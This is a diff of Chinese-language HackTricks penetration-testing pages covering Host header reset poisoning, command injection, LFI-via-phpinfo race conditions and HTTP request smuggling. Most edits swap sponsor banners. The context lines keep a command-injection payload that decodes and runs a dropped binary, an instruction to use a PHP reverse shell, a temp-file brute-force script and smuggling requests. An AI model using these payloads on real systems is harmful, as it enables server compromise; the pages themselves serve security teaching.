**即时可用的漏洞评估和渗透测试设置**。从任何地方运行完整的渗透测试,使用 20 多种工具和功能,从侦察到报告。我们不替代渗透测试人员 - 我们开发自定义工具、检测和利用模块,以便让他们有更多时间深入挖掘、获取 shell 并享受乐趣。
|
#### 从黑客的角度看待您的网络应用、网络和云
|
||||||
|
|
||||||
|
**发现并报告具有实际商业影响的关键可利用漏洞。** 使用我们 20 多个自定义工具来映射攻击面,找到让您提升权限的安全问题,并使用自动化利用收集重要证据,将您的辛勤工作转化为有说服力的报告。
|
||||||
|
|
||||||
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
|
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
|
||||||
|
|
||||||
|
@ -195,7 +199,7 @@ print(rv)
|
||||||
<summary>支持 HackTricks</summary>
|
<summary>支持 HackTricks</summary>
|
||||||
|
|
||||||
* 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
|
* 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||||
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或 **在 Twitter 上关注** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram 群组**](https://t.me/peass) 或 **在 Twitter 上关注** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub 仓库提交 PR 来分享黑客技巧。
|
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub 仓库提交 PR 来分享黑客技巧。
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
|
|
@ -17,16 +17,18 @@
|
||||||
|
|
||||||
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
**即时可用的漏洞评估和渗透测试设置**。从任何地方运行完整的渗透测试,使用 20 多种工具和功能,从侦察到报告。我们不取代渗透测试人员 - 我们开发自定义工具、检测和利用模块,以便让他们有更多时间深入挖掘、获取 shell 并享受乐趣。
|
#### 从黑客的角度看待您的网络应用、网络和云
|
||||||
|
|
||||||
|
**查找并报告具有实际商业影响的关键可利用漏洞。** 使用我们 20 多个自定义工具来映射攻击面,查找允许您提升权限的安全问题,并使用自动化利用收集重要证据,将您的辛勤工作转化为有说服力的报告。
|
||||||
|
|
||||||
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
|
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
|
||||||
|
|
||||||
### Host 头
|
### 主机头
|
||||||
|
|
||||||
后端多次信任 **Host 头** 来执行某些操作。例如,它可能会使用其值作为 **发送密码重置的域**。因此,当您收到一封包含重置密码链接的电子邮件时,使用的域是您在 Host 头中输入的域。然后,您可以请求其他用户的密码重置,并将域更改为您控制的域,以窃取他们的密码重置代码。[WriteUp](https://medium.com/nassec-cybersecurity-writeups/how-i-was-able-to-take-over-any-users-account-with-host-header-injection-546fff6d0f2)。
|
几次后端信任 **Host header** 来执行某些操作。例如,它可能会使用其值作为 **发送密码重置的域**。因此,当您收到一封包含重置密码链接的电子邮件时,使用的域是您在 Host header 中输入的域。然后,您可以请求其他用户的密码重置,并将域更改为您控制的域,以窃取他们的密码重置代码。[WriteUp](https://medium.com/nassec-cybersecurity-writeups/how-i-was-able-to-take-over-any-users-account-with-host-header-injection-546fff6d0f2)。
|
||||||
|
|
||||||
{% hint style="warning" %}
|
{% hint style="warning" %}
|
||||||
请注意,您甚至可能不需要等待用户点击重置密码链接来获取令牌,因为 **垃圾邮件过滤器或其他中介设备/机器人可能会点击它以进行分析**。
|
请注意,您甚至可能不需要等待用户点击重置密码链接来获取令牌,因为可能连 **垃圾邮件过滤器或其他中介设备/机器人都会点击它进行分析**。
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
||||||
### 会话布尔值
|
### 会话布尔值
|
||||||
|
@ -42,20 +44,22 @@
|
||||||
|
|
||||||
注册一个电子邮件,在确认之前更改电子邮件,然后,如果新的确认电子邮件发送到第一个注册的电子邮件,您可以接管任何电子邮件。或者,如果您可以启用第二个电子邮件以确认第一个电子邮件,您也可以接管任何帐户。
|
注册一个电子邮件,在确认之前更改电子邮件,然后,如果新的确认电子邮件发送到第一个注册的电子邮件,您可以接管任何电子邮件。或者,如果您可以启用第二个电子邮件以确认第一个电子邮件,您也可以接管任何帐户。
|
||||||
|
|
||||||
### 访问使用 Atlassian 的公司内部服务台
|
### 访问使用 Atlassian 的公司的内部服务台
|
||||||
|
|
||||||
{% embed url="https://yourcompanyname.atlassian.net/servicedesk/customer/user/login" %}
|
{% embed url="https://yourcompanyname.atlassian.net/servicedesk/customer/user/login" %}
|
||||||
|
|
||||||
### TRACE 方法
|
### TRACE 方法
|
||||||
|
|
||||||
开发人员可能会忘记在生产环境中禁用各种调试选项。例如,HTTP `TRACE` 方法是为诊断目的而设计的。如果启用,web 服务器将通过在响应中回显收到的确切请求来响应使用 `TRACE` 方法的请求。这种行为通常是无害的,但偶尔会导致信息泄露,例如可能由反向代理附加到请求的内部身份验证头的名称。![Image for post](https://miro.medium.com/max/60/1\*wDFRADTOd9Tj63xucenvAA.png?q=20)
|
开发人员可能会忘记在生产环境中禁用各种调试选项。例如,HTTP `TRACE` 方法是为诊断目的而设计的。如果启用,Web 服务器将通过在响应中回显收到的确切请求来响应使用 `TRACE` 方法的请求。这种行为通常是无害的,但偶尔会导致信息泄露,例如可能由反向代理附加到请求的内部身份验证头的名称。![Image for post](https://miro.medium.com/max/60/1\*wDFRADTOd9Tj63xucenvAA.png?q=20)
|
||||||
|
|
||||||
![Image for post](https://miro.medium.com/max/1330/1\*wDFRADTOd9Tj63xucenvAA.png)
|
![Image for post](https://miro.medium.com/max/1330/1\*wDFRADTOd9Tj63xucenvAA.png)
|
||||||
|
|
||||||
|
|
||||||
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
**即时可用的漏洞评估和渗透测试设置**。从任何地方运行完整的渗透测试,使用 20 多种工具和功能,从侦察到报告。我们不取代渗透测试人员 - 我们开发自定义工具、检测和利用模块,以便让他们有更多时间深入挖掘、获取 shell 并享受乐趣。
|
#### 从黑客的角度看待您的网络应用、网络和云
|
||||||
|
|
||||||
|
**查找并报告具有实际商业影响的关键可利用漏洞。** 使用我们 20 多个自定义工具来映射攻击面,查找允许您提升权限的安全问题,并使用自动化利用收集重要证据,将您的辛勤工作转化为有说服力的报告。
|
||||||
|
|
||||||
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
|
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
|
||||||
|
|
||||||
|
|
|
@ -1,8 +1,8 @@
|
||||||
# 命令注入
|
# 命令注入
|
||||||
|
|
||||||
{% hint style="success" %}
|
{% hint style="success" %}
|
||||||
学习和实践 AWS 黑客技术:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
学习与实践 AWS 黑客技术:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
学习和实践 GCP 黑客技术:<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks 培训 GCP 红队专家 (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
学习与实践 GCP 黑客技术:<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks 培训 GCP 红队专家 (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
|
@ -15,20 +15,21 @@
|
||||||
</details>
|
</details>
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
||||||
<figure><img src="../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure>
|
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
使用 [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_term=trickest&utm_content=command-injection) 轻松构建和 **自动化工作流**,由世界上 **最先进** 的社区工具提供支持。\
|
#### 从黑客的角度看待您的网络应用、网络和云
|
||||||
今天就获取访问权限:
|
|
||||||
|
|
||||||
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=command-injection" %}
|
**查找并报告具有实际商业影响的关键可利用漏洞。** 使用我们 20 多个自定义工具来映射攻击面,查找允许您提升权限的安全问题,并使用自动化利用收集重要证据,将您的辛勤工作转化为有说服力的报告。
|
||||||
|
|
||||||
|
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
|
||||||
|
|
||||||
## 什么是命令注入?
|
## 什么是命令注入?
|
||||||
|
|
||||||
**命令注入** 允许攻击者在托管应用程序的服务器上执行任意操作系统命令。因此,应用程序及其所有数据可能会完全被破坏。这些命令的执行通常允许攻击者获得对应用程序环境和底层系统的未经授权的访问或控制。
|
**命令注入** 允许攻击者在托管应用程序的服务器上执行任意操作系统命令。因此,应用程序及其所有数据可能会完全被攻陷。这些命令的执行通常允许攻击者获得对应用程序环境和底层系统的未经授权的访问或控制。
|
||||||
|
|
||||||
### 上下文
|
### 上下文
|
||||||
|
|
||||||
根据 **输入被注入的位置**,您可能需要在命令之前 **终止引用上下文**(使用 `"` 或 `'`)。
|
根据 **您的输入被注入的位置**,您可能需要在命令之前 **终止引用上下文**(使用 `"` 或 `'`)。
|
||||||
|
|
||||||
## 命令注入/执行
|
## 命令注入/执行
|
||||||
```bash
|
```bash
|
||||||
|
@ -65,7 +66,7 @@ vuln=echo PAYLOAD > /tmp/pay.txt; cat /tmp/pay.txt | base64 -d > /tmp/pay; chmod
|
||||||
```
|
```
|
||||||
### 参数
|
### 参数
|
||||||
|
|
||||||
以下是可能容易受到代码注入和类似RCE漏洞的前25个参数(来自 [link](https://twitter.com/trbughunters/status/1283133356922884096)):
|
以下是可能容易受到代码注入和类似 RCE 漏洞的前 25 个参数(来自 [link](https://twitter.com/trbughunters/status/1283133356922884096)):
|
||||||
```
|
```
|
||||||
?cmd={payload}
|
?cmd={payload}
|
||||||
?exec={payload}
|
?exec={payload}
|
||||||
|
@ -161,10 +162,10 @@ powershell C:**2\n??e*d.*? # notepad
|
||||||
</details>
|
</details>
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
||||||
<figure><img src="../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure>
|
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
\
|
#### 从黑客的角度看待您的网络应用、网络和云
|
||||||
使用 [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_term=trickest&utm_content=command-injection) 轻松构建和 **自动化工作流程**,由世界上 **最先进** 的社区工具提供支持。\
|
|
||||||
今天就获取访问权限:
|
|
||||||
|
|
||||||
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=command-injection" %}
|
**发现并报告具有实际商业影响的关键可利用漏洞。** 使用我们 20 多个自定义工具来映射攻击面,查找允许您提升权限的安全问题,并使用自动化漏洞收集重要证据,将您的辛勤工作转化为有说服力的报告。
|
||||||
|
|
||||||
|
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
|
||||||
|
|
|
@ -1,6 +1,6 @@
|
||||||
{% hint style="success" %}
|
{% hint style="success" %}
|
||||||
学习与实践 AWS 黑客技术:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
学习和实践 AWS 黑客技术:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
学习与实践 GCP 黑客技术:<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks 培训 GCP 红队专家 (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
学习和实践 GCP 黑客技术:<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks 培训 GCP 红队专家 (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
|
@ -13,36 +13,44 @@
|
||||||
</details>
|
</details>
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
||||||
|
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
|
#### 从黑客的角度看待您的网络应用、网络和云
|
||||||
|
|
||||||
|
**发现并报告具有实际商业影响的关键可利用漏洞。** 使用我们 20 多个自定义工具来映射攻击面,查找让您提升权限的安全问题,并使用自动化利用收集重要证据,将您的辛勤工作转化为有说服力的报告。
|
||||||
|
|
||||||
|
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
|
||||||
|
|
||||||
|
|
||||||
要利用此漏洞,您需要:**一个 LFI 漏洞,一个显示 phpinfo() 的页面,“file\_uploads = on”,并且服务器必须能够在“/tmp”目录中写入。**
|
要利用此漏洞,您需要:**一个 LFI 漏洞,一个显示 phpinfo() 的页面,“file\_uploads = on”,并且服务器必须能够在“/tmp”目录中写入。**
|
||||||
|
|
||||||
[https://www.insomniasec.com/downloads/publications/phpinfolfi.py](https://www.insomniasec.com/downloads/publications/phpinfolfi.py)
|
[https://www.insomniasec.com/downloads/publications/phpinfolfi.py](https://www.insomniasec.com/downloads/publications/phpinfolfi.py)
|
||||||
|
|
||||||
**教程 HTB**: [https://www.youtube.com/watch?v=rs4zEwONzzk\&t=600s](https://www.youtube.com/watch?v=rs4zEwONzzk\&t=600s)
|
**教程 HTB**:[https://www.youtube.com/watch?v=rs4zEwONzzk\&t=600s](https://www.youtube.com/watch?v=rs4zEwONzzk\&t=600s)
|
||||||
|
|
||||||
您需要修复漏洞(将 **=>** 更改为 **=>**)。为此,您可以执行:
|
您需要修复利用(将 **=>** 改为 **=>**)。为此,您可以执行:
|
||||||
```
|
```
|
||||||
sed -i 's/\[tmp_name\] \=>/\[tmp_name\] =\>/g' phpinfolfi.py
|
sed -i 's/\[tmp_name\] \=>/\[tmp_name\] =\>/g' phpinfolfi.py
|
||||||
```
|
```
|
||||||
您还需要更改漏洞利用的**payload**(例如,使用php-rev-shell),**REQ1**(这应该指向phpinfo页面并包含填充,即:_REQ1="""POST /install.php?mode=phpinfo\&a="""+padding+""" HTTP/1.1_),以及**LFIREQ**(这应该指向LFI漏洞,即:_LFIREQ="""GET /info?page=%s%%00 HTTP/1.1\r --_ 在利用空字符时检查双“%”)
|
您还需要更改漏洞利用的**payload**(例如,使用php-rev-shell),**REQ1**(这应该指向phpinfo页面,并且应该包含填充,即:_REQ1="""POST /install.php?mode=phpinfo\&a="""+padding+""" HTTP/1.1_),以及**LFIREQ**(这应该指向LFI漏洞,即:_LFIREQ="""GET /info?page=%s%%00 HTTP/1.1\r --_ 在利用空字符时检查双“%”)
|
||||||
|
|
||||||
{% file src="../../.gitbook/assets/LFI-With-PHPInfo-Assistance.pdf" %}
|
{% file src="../../.gitbook/assets/LFI-With-PHPInfo-Assistance.pdf" %}
|
||||||
|
|
||||||
### 理论
|
### 理论
|
||||||
|
|
||||||
如果在PHP中允许上传文件,并且您尝试上传文件,则该文件会存储在临时目录中,直到服务器处理完请求,然后该临时文件会被删除。
|
如果在PHP中允许上传文件,并且您尝试上传文件,则这些文件会存储在临时目录中,直到服务器处理完请求,然后这些临时文件会被删除。
|
||||||
|
|
||||||
然后,如果您在Web服务器中发现了LFI漏洞,您可以尝试猜测创建的临时文件的名称,并通过在文件被删除之前访问临时文件来利用RCE。
|
然后,如果您在Web服务器中发现了LFI漏洞,您可以尝试猜测创建的临时文件的名称,并在文件被删除之前通过访问临时文件来利用RCE。
|
||||||
|
|
||||||
在**Windows**中,文件通常存储在**C:\Windows\temp\php**
|
在**Windows**中,文件通常存储在**C:\Windows\temp\php**
|
||||||
|
|
||||||
在**linux**中,文件的名称通常是**随机的**,并位于**/tmp**。由于名称是随机的,因此需要**从某处提取临时文件的名称**并在其被删除之前访问它。这可以通过读取函数“**phpconfig()**”内容中的**变量$\_FILES**的值来完成。
|
在**linux**中,文件的名称通常是**随机的**,并位于**/tmp**。由于名称是随机的,因此需要**从某处提取临时文件的名称**,并在文件被删除之前访问它。这可以通过读取函数“**phpconfig()**”内容中的**变量$\_FILES**的值来完成。
|
||||||
|
|
||||||
**phpinfo()**
|
**phpinfo()**
|
||||||
|
|
||||||
**PHP**使用**4096B**的缓冲区,当它**满**时,它会被**发送到客户端**。然后客户端可以**发送** **大量大请求**(使用大头部)**上传php**反向**shell**,等待**phpinfo()的第一部分返回**(其中包含临时文件的名称),并尝试在php服务器删除文件之前通过利用LFI漏洞**访问临时文件**。
|
**PHP**使用**4096B**的缓冲区,当它**满**时,它会被**发送到客户端**。然后客户端可以**发送** **大量大请求**(使用大头部)**上传一个php**反向**shell**,等待**phpinfo()的第一部分返回**(其中包含临时文件的名称),并尝试在php服务器删除文件之前通过利用LFI漏洞**访问临时文件**。
|
||||||
|
|
||||||
**Python脚本尝试暴力破解名称(如果长度=6)**
|
**Python脚本尝试暴力破解名称(如果长度= 6)**
|
||||||
```python
|
```python
|
||||||
import itertools
|
import itertools
|
||||||
import requests
|
import requests
|
||||||
|
@ -64,17 +72,25 @@ sys.exit(0)
|
||||||
|
|
||||||
print('[x] Something went wrong, please try again')
|
print('[x] Something went wrong, please try again')
|
||||||
```
|
```
|
||||||
|
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
|
#### 从黑客的角度看待您的网络应用、网络和云
|
||||||
|
|
||||||
|
**发现并报告具有实际商业影响的关键可利用漏洞。** 使用我们20多个自定义工具来映射攻击面,找到让您提升权限的安全问题,并使用自动化利用收集重要证据,将您的辛勤工作转化为有说服力的报告。
|
||||||
|
|
||||||
|
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
|
||||||
|
|
||||||
{% hint style="success" %}
|
{% hint style="success" %}
|
||||||
学习与实践 AWS 黑客技术:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
学习和实践 AWS 黑客技术:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
学习与实践 GCP 黑客技术:<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks 培训 GCP 红队专家 (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
学习和实践 GCP 黑客技术:<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks 培训 GCP 红队专家 (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary>支持 HackTricks</summary>
|
<summary>支持 HackTricks</summary>
|
||||||
|
|
||||||
* 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
|
* 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||||
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram 群组**](https://t.me/peass) 或 **关注** 我们的 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或 **在** **Twitter** 🐦 **上关注我们** [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub 仓库提交 PR 来分享黑客技巧。
|
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 来分享黑客技巧。
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
|
@ -1,8 +1,8 @@
|
||||||
# HTTP Request Smuggling / HTTP Desync Attack
|
# HTTP Request Smuggling / HTTP Desync Attack
|
||||||
|
|
||||||
{% hint style="success" %}
|
{% hint style="success" %}
|
||||||
学习与实践 AWS 黑客技术:<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">\
|
学习和实践 AWS 黑客技术:<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
学习与实践 GCP 黑客技术:<img src="../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks 培训 GCP 红队专家 (GRTE)**<img src="../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
学习和实践 GCP 黑客技术:<img src="../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks 培训 GCP 红队专家 (GRTE)**<img src="../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
|
@ -15,6 +15,14 @@
|
||||||
</details>
|
</details>
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
||||||
|
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
|
#### 从黑客的角度看待您的网络应用、网络和云
|
||||||
|
|
||||||
|
**发现并报告具有实际商业影响的关键可利用漏洞。** 使用我们 20 多个自定义工具来映射攻击面,查找允许您提升权限的安全问题,并使用自动化利用收集重要证据,将您的辛勤工作转化为有说服力的报告。
|
||||||
|
|
||||||
|
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
|
||||||
|
|
||||||
## 什么是
|
## 什么是
|
||||||
|
|
||||||
当 **前端代理** 和 **后端** 服务器之间发生 **不同步** 时,允许 **攻击者** 发送一个 HTTP **请求**,该请求将被 **前端** 代理(负载均衡/反向代理)解释为 **单个请求**,而被 **后端** 服务器解释为 **两个请求**。\
|
当 **前端代理** 和 **后端** 服务器之间发生 **不同步** 时,允许 **攻击者** 发送一个 HTTP **请求**,该请求将被 **前端** 代理(负载均衡/反向代理)解释为 **单个请求**,而被 **后端** 服务器解释为 **两个请求**。\
|
||||||
|
@ -38,15 +46,15 @@
|
||||||
### 现实
|
### 现实
|
||||||
|
|
||||||
**前端**(负载均衡/反向代理)**处理** _**content-length**_ 或 _**transfer-encoding**_ 头,而 **后端** 服务器 **处理另一个**,导致两个系统之间的 **不同步**。\
|
**前端**(负载均衡/反向代理)**处理** _**content-length**_ 或 _**transfer-encoding**_ 头,而 **后端** 服务器 **处理另一个**,导致两个系统之间的 **不同步**。\
|
||||||
这可能非常关键,因为 **攻击者将能够向反向代理发送一个请求**,该请求将被 **后端** 服务器 **解释为两个不同的请求**。这种技术的 **危险** 在于 **后端** 服务器 **将解释** **注入的第二个请求**,仿佛它 **来自下一个客户端**,而该客户端的 **真实请求** 将是 **注入请求** 的 **一部分**。
|
这可能非常关键,因为 **攻击者将能够向反向代理发送一个请求**,该请求将被 **后端** 服务器 **解释为两个不同的请求**。这种技术的 **危险** 在于 **后端** 服务器 **将解释** **注入的第二个请求**,就好像它 **来自下一个客户端**,而该客户端的 **真实请求** 将是 **注入请求** 的 **一部分**。
|
||||||
|
|
||||||
### 特点
|
### 特点
|
||||||
|
|
||||||
请记住,在 HTTP 中 **换行符由 2 个字节组成:**
|
请记住,在 HTTP 中 **换行符由 2 个字节组成:**
|
||||||
|
|
||||||
* **Content-Length**:此头使用 **十进制数字** 指示请求 **主体** 的 **字节数**。主体预计在最后一个字符结束,**请求末尾不需要换行**。
|
* **Content-Length**:此头使用 **十进制数字** 指示请求 **主体** 的 **字节数**。主体预计在最后一个字符结束,**请求末尾不需要换行符**。
|
||||||
* **Transfer-Encoding:** 此头在 **主体** 中使用 **十六进制数字** 指示 **下一个块** 的 **字节数**。**块** 必须以 **换行** 结束,但此换行 **不计入** 长度指示符。此传输方法必须以 **大小为 0 的块后跟 2 个换行** 结束:`0`
|
* **Transfer-Encoding:** 此头在 **主体** 中使用 **十六进制数字** 指示 **下一个块** 的 **字节数**。**块** 必须以 **换行符** 结束,但此换行符 **不计入** 长度指示符。此传输方法必须以 **大小为 0 的块后跟 2 个换行符** 结束:`0`
|
||||||
* **Connection**:根据我的经验,建议在请求 Smuggling 的第一个请求中使用 **`Connection: keep-alive`**。
|
* **Connection**:根据我的经验,建议在请求走私的第一个请求中使用 **`Connection: keep-alive`**。
|
||||||
|
|
||||||
## 基本示例
|
## 基本示例
|
||||||
|
|
||||||
|
@ -153,13 +161,13 @@ Host: vulnerable-website.com
|
||||||
Content-Length: 16
|
Content-Length: 16
|
||||||
Connection: keep-alive
|
Connection: keep-alive
|
||||||
|
|
||||||
正常请求
|
Normal Request
|
||||||
```
|
```
|
||||||
|
|
||||||
#### **CL.0 场景**
|
#### **CL.0 场景**
|
||||||
|
|
||||||
* 指的是 `Content-Length` 头存在且值不为零的场景,表明请求主体有内容。后端忽略 `Content-Length` 头(被视为 0),但前端解析它。
|
* 指的是 `Content-Length` 头存在且值不为零的场景,表明请求主体有内容。后端忽略 `Content-Length` 头(被视为 0),但前端解析它。
|
||||||
* 这在理解和构造走私攻击时至关重要,因为它影响服务器确定请求结束的方式。
|
* 这在理解和构造走私攻击中至关重要,因为它影响服务器确定请求结束的方式。
|
||||||
* **示例:**
|
* **示例:**
|
||||||
|
|
||||||
```
|
```
|
||||||
|
@ -168,13 +176,13 @@ Host: vulnerable-website.com
|
||||||
Content-Length: 16
|
Content-Length: 16
|
||||||
Connection: keep-alive
|
Connection: keep-alive
|
||||||
|
|
||||||
非空主体
|
Non-Empty Body
|
||||||
```
|
```
|
||||||
|
|
||||||
#### TE.0 场景
|
#### TE.0 场景
|
||||||
|
|
||||||
* 类似于前一个场景,但使用 TE。
|
* 类似于前一个场景,但使用 TE。
|
||||||
* 技术 [在这里报告](https://www.bugcrowd.com/blog/unveiling-te-0-http-request-smuggling-discovering-a-critical-vulnerability-in-thousands-of-google-cloud-websites/)
|
* 技术 [在此报告](https://www.bugcrowd.com/blog/unveiling-te-0-http-request-smuggling-discovering-a-critical-vulnerability-in-thousands-of-google-cloud-websites/)
|
||||||
* **示例**:
|
* **示例**:
|
||||||
```
|
```
|
||||||
OPTIONS / HTTP/1.1
|
OPTIONS / HTTP/1.1
|
||||||
|
@ -205,7 +213,7 @@ EMPTY_LINE_HERE
|
||||||
```
|
```
|
||||||
Connection: Content-Length
|
Connection: Content-Length
|
||||||
```
|
```
|
||||||
For **有关逐跳头的更多信息** 访问:
|
For **更多关于 hop-by-hop 头部的信息** 访问:
|
||||||
|
|
||||||
{% content-ref url="../abusing-hop-by-hop-headers.md" %}
|
{% content-ref url="../abusing-hop-by-hop-headers.md" %}
|
||||||
[abusing-hop-by-hop-headers.md](../abusing-hop-by-hop-headers.md)
|
[abusing-hop-by-hop-headers.md](../abusing-hop-by-hop-headers.md)
|
||||||
|
@ -213,7 +221,7 @@ For **有关逐跳头的更多信息** 访问:
|
||||||
|
|
||||||
## 查找 HTTP 请求走私
|
## 查找 HTTP 请求走私
|
||||||
|
|
||||||
